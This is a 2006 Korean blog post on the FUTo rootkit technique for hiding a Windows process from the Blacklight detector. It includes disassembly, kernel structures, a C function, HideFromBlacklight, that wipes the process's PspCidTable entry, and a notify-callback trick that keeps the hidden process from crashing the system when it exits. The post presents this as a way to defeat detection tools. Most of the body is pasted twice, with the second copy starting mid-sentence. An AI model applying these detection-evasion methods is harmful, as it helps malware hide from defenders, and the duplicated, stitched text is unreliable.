2006년 07월 28일
FUTo & PspCidTable
Blacklight라는 루트킷 감지툴은 유저모드에서 작동하며, 0x0 부터 0x4E1C까지의
모든 PID에 대해서 OpenProcess를 시도하는 PID BruteForce방식을 사용한다.
먼저, PIDB를 시작하기 전에 CreateToolhelp32Snapshot를 호출하여 프로세스의
리스트를 얻은뒤 PIDB를 한 후의 리스트와 비교한다.
이렇게 하면 OpenProcess가 성공한 숨겨진 PID에 대해서 얻을 수 있을 것이다.
(발상은 생각보다 조낸 간단하지만, 그 효과는 크다.)
이렇게 루트킷을 탐지하는 툴을 무력화시키기 위해 할 수 있는 방법은 당근
OpenProcess를 범하는(?) 것일 게다. ㅋㅋ
OpenProcess는 NtOpenProcess의 래핑 함수이다. 그러므로 NtOpenProcess를
벗겨보면 다음과 같다.
NTSTATUS NtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
여기서 맨 마지막의 ClientId 파라메터는 OpenProcess에 의해서 전달되는
실제 PID 값이다. 이 파라메터가 Optional하지만, OpenProcess를 호출할 때는
항상 특정한 ClientId를 사용함을 알 수 있다.
NtOpenProcess는 다음과 같은 3개의 단계를 거친다.
1. PsLookupProcessByProcessId 를 호출하여 이 PID에 매칭되는 프로세스가
존재하는지 살핀다.
2. ObOpenObjectByPointer를 호출하여 프로세스의 핸들을 Open한다.
3. 만약 성공적으로 Open하였을 경우, 호출자에게 핸들을 반환한다.
PsLookupProcessByProcessId가 어떻게 PID에 해당하는 프로세스가 존재하는지를
리버싱 해보면 뭔가 힌트를 얻을 수 있다.
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
마지막 부분에서 PspCidTable을 푸쉬시킨 후, ExMapHandleToPointer를 호출한다는
것에서 PspCidTable이 프로세스의 존재 유무에 대한 정보가 들어 있음을 알 수 있다.
그럼 본격적으로 PspCidTable에 대해서 알아보도록 하자.
typedef struct _HANDLE_TABLE {
PVOID p_hTable;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
EX_PUSH_LOCK HandleTableLock [4];
LIST_ENTRY HandleTableList;
EX_PUSH_LOCK HandleContentionEvent;
PHANDLE_TRACE_DEBUG_INFO DebugInfo;
DWORD ExtraInfoPages;
DWORD FirstFree;
DWORD LastFree;
DWORD NextHandleNeedingPool;
DWORD HandleCount;
DWORD Flags;
};
이 녀석은 프로세스와 Thread Client ID에 대응하는 Handle Table 이다.
모든 프로세스의 PID에 대응하는 PspCidTable이 존재한다. 즉 PspCidTable은
HANDLE_TABLE 구조체를 가리키는 포인터라고 할 수 있다.
Windows에는 Exported 되지 않은 함수로 PspCidTable을 조작하고 원하는
값을 얻어오는 것을 구현하고 있다.
- [ExCreateHandleTable] creates non-process handle tables. The
objects within all handle tables except the PspCidTable are pointers
to object headers and not the address of the objects themselves.
- [ExDupHandleTable] is called when spawning a process.
- [ExSweepHandleTable] is used for process rundown.
- [ExDestroyHandleTable] is called when a process is exiting.
- [ExCreateHandle] creates new handle table entries.
- [ExChangeHandle] is used to change the access mask on a handle.
- [ExDestroyHandle] implements the functionality of CloseHandle.
- [ExMapHandleToPointer] returns the address of the object corresponding to the handle.
- [ExReferenceHandleDebugIn] tracing handles.
- [ExSnapShotHandleTables] is used for handle searchers (for example in oh.exe).
이러한 함수를 사용하여 PspCidTable에서 프로세스 Object를 제거해 버리는
코드가 아래에 있다.
typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
( IN PHANDLE_TABLE HandleTable,
IN HANDLE ProcessId);
void HideFromBlacklight(DWORD eproc)
{
PHANDLE_TABLE_ENTRY CidEntry;
ExMapHandleToPointerFUNC map;
ExUnlockHandleTableEntryFUNC umap;
PEPROCESS p;
CLIENT_ID ClientId;
map = (ExMapHandleToPointerFUNC)0x80493285;
CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
if(CidEntry != NULL)
{
CidEntry->Object = 0; //PspCidTable로 부터 Object를 제거해 버림.
}
return;
}
그럼 이러한 방법을 어떻게 특정 프로세스를 숨기는데 활용할 수 있을까?
우선 해당 프로세스의 PspCidTable을 알아내는 것이 시작일 것이다.
앞에서 언급된 것처럼 FuTo에서는 PsLookupProcessByProcessId 함수를
Disassembling하여 처음 발견되는 함수의 호출(ExMapHandleToPointer)의
바로 앞 Instruction 즉, push PspCidTable 을 찾아내는 방법으로 PspCidTable의
주소를 얻어낸다. 하지만 이는 컴파일러의 옵티마이징에 의해서 변경될 수
있는 위험이 있으므로 이보다 더 견고한 방법이 필요하다.
그 방법은 Process Control Region 구조체의 KdVersionBlock 필드가 가리키는
KDDEBUGGER_DATA32라는 구조체를 통해서 알아낼 수 있다.
typedef struct _KDDEBUGGER_DATA32 {
DBGKD_DEBUG_DATA_HEADER32 Header;
ULONG KernBase;
ULONG BreakpointWithStatus; // address of breakpoint
ULONG SavedContext;
USHORT ThCallbackStack; // offset in thread data
USHORT NextCallback; // saved pointer to next callback frame
USHORT FramePointer; // saved frame pointer
USHORT PaeEnabled:1;
ULONG KiCallUserMode; // kernel routine
ULONG KeUserCallbackDispatcher; // address in ntdll
ULONG PsLoadedModuleList;
ULONG PsActiveProcessHead;
ULONG PspCidTable; // 여기 우리가 원하는 것이 보인다~~ 빙고!!
ULONG ExpSystemResourcesList;
ULONG ExpPagedPoolDescriptor;
ULONG ExpNumberOfPagedPools;
[...]
ULONG KdPrintCircularBuffer;
ULONG KdPrintCircularBufferEnd;
ULONG KdPrintWritePointer;
ULONG KdPrintRolloverCount;
ULONG MmLoadedUserImageList;
} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
이 외에도 KDDEBUGER_DATA32 구조체에는 PspActiveProcessHead,
PspLoadedModuleList 와 같은 유용한 정보가 보인다. ㅋㅋ
이제 PspCidTable을 알아내었다면 object를 제거해 버리면 간단하다.
그렇지만 쪼깨 꺼림직한게 일반적으로 프로세스를 Close할 때, 분명히
PspCidTable을 참조하여 참조계수와 관련된 값들을 조정해주어야 하며
참조관계를 끊어 주어야만 한다. 그런데 Null object에 dereference한다면
끔찍한 블루스크린을 볼 수 있다. 그러므로 이에 대한 방법을 강구해야
한다.
그 방법은 바로 PsSetCreateProcessNotifyRoutine이다.이 함수는 새로운
프로세스가 생성되어지거나 종료되어질 때를 알려주는 함수이다.
이걸 사용해서 프로세스가 종료되는 시점을 감지하여 이 함수의 콜백을
등록해놓을 수 있을 것이다. 즉 감추어진 프로세스를 종료하기 전에
콜백 루틴에서 혹시라도 발생할지 모르는 예외 상황에 대한 처리를
해주는 것이다. PspCidTable에서 Object를 지우고, 해당 HANDLE_ENTRY
의 주소와 인덱스 값을 저장한 후에, 이 프로세스가 종료될 때 콜백루틴에서
Object를 복구하여 시스템에서 정상적으로 Dereferencing과정을 거치도록
하는 것이다.
모든 PID에 대해서 OpenProcess를 시도하는 PID BruteForce방식을 사용한다.
먼저, PIDB를 시작하기 전에 CreateToolhelp32Snapshot를 호출하여 프로세스의
리스트를 얻은뒤 PIDB를 한 후의 리스트와 비교한다.
이렇게 하면 OpenProcess가 성공한 숨겨진 PID에 대해서 얻을 수 있을 것이다.
(발상은 생각보다 조낸 간단하지만, 그 효과는 크다.)
이렇게 루트킷을 탐지하는 툴을 무력화시키기 위해 할 수 있는 방법은 당근
OpenProcess를 범하는(?) 것일 게다. ㅋㅋ
OpenProcess는 NtOpenProcess의 래핑 함수이다. 그러므로 NtOpenProcess를
벗겨보면 다음과 같다.
NTSTATUS NtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
여기서 맨 마지막의 ClientId 파라메터는 OpenProcess에 의해서 전달되는
실제 PID 값이다. 이 파라메터가 Optional하지만, OpenProcess를 호출할 때는
항상 특정한 ClientId를 사용함을 알 수 있다.
NtOpenProcess는 다음과 같은 3개의 단계를 거친다.
1. PsLookupProcessByProcessId 를 호출하여 이 PID에 매칭되는 프로세스가
존재하는지 살핀다.
2. ObOpenObjectByPointer를 호출하여 프로세스의 핸들을 Open한다.
3. 만약 성공적으로 Open하였을 경우, 호출자에게 핸들을 반환한다.
PsLookupProcessByProcessId가 어떻게 PID에 해당하는 프로세스가 존재하는지를
리버싱 해보면 뭔가 힌트를 얻을 수 있다.
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
마지막 부분에서 PspCidTable을 푸쉬시킨 후, ExMapHandleToPointer를 호출한다는
것에서 PspCidTable이 프로세스의 존재 유무에 대한 정보가 들어 있음을 알 수 있다.
그럼 본격적으로 PspCidTable에 대해서 알아보도록 하자.
typedef struct _HANDLE_TABLE {
PVOID p_hTable;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
EX_PUSH_LOCK HandleTableLock [4];
LIST_ENTRY HandleTableList;
EX_PUSH_LOCK HandleContentionEvent;
PHANDLE_TRACE_DEBUG_INFO DebugInfo;
DWORD ExtraInfoPages;
DWORD FirstFree;
DWORD LastFree;
DWORD NextHandleNeedingPool;
DWORD HandleCount;
DWORD Flags;
};
이 녀석은 프로세스와 Thread Client ID에 대응하는 Handle Table 이다.
모든 프로세스의 PID에 대응하는 PspCidTable이 존재한다. 즉 PspCidTable은
HANDLE_TABLE 구조체를 가리키는 포인터라고 할 수 있다.
Windows에는 Exported 되지 않은 함수로 PspCidTable을 조작하고 원하는
값을 얻어오는 것을 구현하고 있다.
- [ExCreateHandleTable] creates non-process handle tables. The
objects within all handle tables except the PspCidTable are pointers
to object headers and not the address of the objects themselves.
- [ExDupHandleTable] is called when spawning a process.
- [ExSweepHandleTable] is used for process rundown.
- [ExDestroyHandleTable] is called when a process is exiting.
- [ExCreateHandle] creates new handle table entries.
- [ExChangeHandle] is used to change the access mask on a handle.
- [ExDestroyHandle] implements the functionality of CloseHandle.
- [ExMapHandleToPointer] returns the address of the object corresponding to the handle.
- [ExReferenceHandleDebugIn] tracing handles.
- [ExSnapShotHandleTables] is used for handle searchers (for example in oh.exe).
이러한 함수를 사용하여 PspCidTable에서 프로세스 Object를 제거해 버리는
코드가 아래에 있다.
typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
( IN PHANDLE_TABLE HandleTable,
IN HANDLE ProcessId);
void HideFromBlacklight(DWORD eproc)
{
PHANDLE_TABLE_ENTRY CidEntry;
ExMapHandleToPointerFUNC map;
ExUnlockHandleTableEntryFUNC umap;
PEPROCESS p;
CLIENT_ID ClientId;
map = (ExMapHandleToPointerFUNC)0x80493285;
CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
if(CidEntry != NULL)
{
CidEntry->Object = 0; //PspCidTable로 부터 Object를 제거해 버림.
}
return;
}
그럼 이러한 방법을 어떻게 특정 프로세스를 숨기는데 활용할 수 있을까?
우선 해당 프로세스의 PspCidTable을 알아내는 것이 시작일 것이다.
앞에서 언급된 것처럼 FuTo에서는 PsLookupProcessByProcessId 함수를
Disassembling하여 처음 발견되는 함수의 호출(ExMapHandleToPointer)의
바로 앞 Instruction 즉, push PspCidTable 을 찾아내는 방법으로 PspCidTable의
주소를 얻어낸다. 하지만 이는 컴파일러의 옵티마이징에 의해서 변경될 수
있는 위험이 있으므로 이보다 더 견고한 방법이 필요하다.
그 방법은 Process Control Region 구조체의 KdVersionBlock 필드가 가리키는
KDDEBUGGER_DATA32라는 구조체를 통해서 알아낼 수 있다.
typedef struct _KDDEBUGGER_DATA32 {
DBGKD_DEBUG_DATA_HEADER32 Header;
ULONG KernBase;
ULONG BreakpointWithStatus; // address of breakpoint
ULONG SavedContext;
USHORT ThCallbackStack; // offset in thread data
USHORT NextCallback; // saved pointer to next callback frame
USHORT FramePointer; // saved frame pointer
USHORT PaeEnabled:1;
ULONG KiCallUserMode; // kernel routine
ULONG KeUserCallbackDispatcher; // address in ntdll
ULONG PsLoadedModuleList;
ULONG PsActiveProcessHead;
ULONG PspCidTable; // 여기 우리가 원하는 것이 보인다~~ 빙고!!
ULONG ExpSystemResourcesList;
ULONG ExpPagedPoolDescriptor;
ULONG ExpNumberOfPagedPools;
[...]
ULONG KdPrintCircularBuffer;
ULONG KdPrintCircularBufferEnd;
ULONG KdPrintWritePointer;
ULONG KdPrintRolloverCount;
ULONG MmLoadedUserImageList;
} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
이 외에도 KDDEBUGER_DATA32 구조체에는 PspActiveProcessHead,
PspLoadedModuleList 와 같은 유용한 정보가 보인다. ㅋㅋ
이제 PspCidTable을 알아내었다면 object를 제거해 버리면 간단하다.
그렇지만 쪼깨 꺼림직한게 일반적으로 프로세스를 Close할 때, 분명히
PspCidTable을 참조하여 참조계수와 관련된 값들을 조정해주어야 하며
참조관계를 끊어 주어야만 한다. 그런데 Null object에 dereference한다면
끔찍한 블루스크린을 볼 수 있다. 그러므로 이에 대한 방법을 강구해야
한다.
그 방법은 바로 PsSetCreateProcessNotifyRoutine이다.이 함수는 새로운
프로세스가 생성되어지거나 종료되어질 때를 알려주는 함수이다.
이걸 사용해서 프로세스가 종료되는 시점을 감지하여 이 함수의 콜백을
등록해놓을 수 있을 것이다. 즉 감추어진 프로세스를 종료하기 전에
콜백 루틴에서 혹시라도 발생할지 모르는 예외 상황에 대한 처리를
해주는 것이다. PspCidTable에서 Object를 지우고, 해당 HANDLE_ENTRY
의 주소와 인덱스 값을 저장한 후에, 이 프로세스가 종료될 때 콜백루틴에서
Object를 복구하여 시스템에서 정상적으로 Dereferencing과정을 거치도록
하는 것이다.
# by | 2006/07/28 11:43 | Garage | 트랙백 | 덧글(0)
☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]